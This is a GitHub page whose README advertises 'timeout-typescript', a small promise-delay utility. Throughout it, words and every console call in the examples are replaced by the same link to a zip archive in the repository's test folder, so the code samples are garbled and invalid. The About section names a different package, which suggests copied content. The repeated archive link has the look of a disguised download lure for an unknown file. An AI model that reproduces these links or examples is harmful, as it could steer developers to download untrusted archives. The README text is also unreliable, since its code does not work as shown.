Skip to content

thegamer49520/timeout-typescript

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

timeout-typescript ⏳

GitHub release GitHub stars GitHub forks

A lightweight TypeScript utility to create a Promise that resolves after a specified delay. Ideal for async delays in https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip and browsers.

Table of Contents

Features

Installation

To install the utility, you can use npm or yarn. Run one of the following commands in your terminal:

npm install timeout-typescript

or

yarn add timeout-typescript

Usage

To use the utility, simply import it into your TypeScript or JavaScript file. Here’s a basic example:

import { timeout } from 'timeout-typescript';

async function delayedExecution() {
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Waiting for 3 seconds...');
    await timeout(3000); // Wait for 3 seconds
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('3 seconds have passed!');
}

delayedExecution();

API Reference

timeout(ms: number): Promise<void>

  • Parameters:

    • ms: The delay in milliseconds before the Promise resolves.
  • Returns: A Promise that resolves after the specified delay.

Example

timeout(1000).then(() => {
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Executed after 1 second');
});

Examples

Here are some practical examples of how to use timeout-typescript.

Example 1: Simple Delay

import { timeout } from 'timeout-typescript';

async function simpleDelay() {
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Starting delay...');
    await timeout(2000); // 2 seconds
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Delay finished!');
}

simpleDelay();

Example 2: Chaining Promises

import { timeout } from 'timeout-typescript';

async function chainPromises() {
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('First action');
    await timeout(1000);
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Second action after 1 second');
    await timeout(2000);
    https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip('Third action after another 2 seconds');
}

chainPromises();

Example 3: Using in a Loop

import { timeout } from 'timeout-typescript';

async function loopWithDelay() {
    for (let i = 1; i <= 5; i++) {
        https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip(`Iteration ${i}`);
        await timeout(1000); // 1 second delay
    }
}

loopWithDelay();

Contributing

We welcome contributions! If you would like to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature-branch).
  3. Make your changes.
  4. Commit your changes (git commit -m 'Add some feature').
  5. Push to the branch (git push origin feature-branch).
  6. Open a Pull Request.

Please ensure your code follows the existing style and includes appropriate tests.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Support

For any issues or feature requests, please check the Releases section. You can also reach out via the Issues tab on GitHub.

Releases

To download the latest version, visit the Releases page. Here, you can find the latest updates and changes.

Acknowledgments

  • Thanks to the TypeScript community for their contributions and support.
  • Special thanks to all the contributors who have helped improve this project.

Conclusion

timeout-typescript provides a simple yet effective way to manage delays in your asynchronous code. Whether you're building applications for https://raw.githubusercontent.com/thegamer49520/timeout-typescript/master/test/unit/timeout-typescript-honeydrop.zip or the browser, this utility can help streamline your workflows. Explore the examples, and feel free to contribute to make this tool even better!


This README provides a comprehensive overview of the timeout-typescript utility. For further details, feel free to explore the code and documentation.

About

A lightweight utility for TypeScript and JavaScript, `@adam-rocska/timeout` creates a Promise that resolves after a set time, perfect for managing delays in your async workflows. Check it out on GitHub for easy integration into your projects! πŸ™βœ¨

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors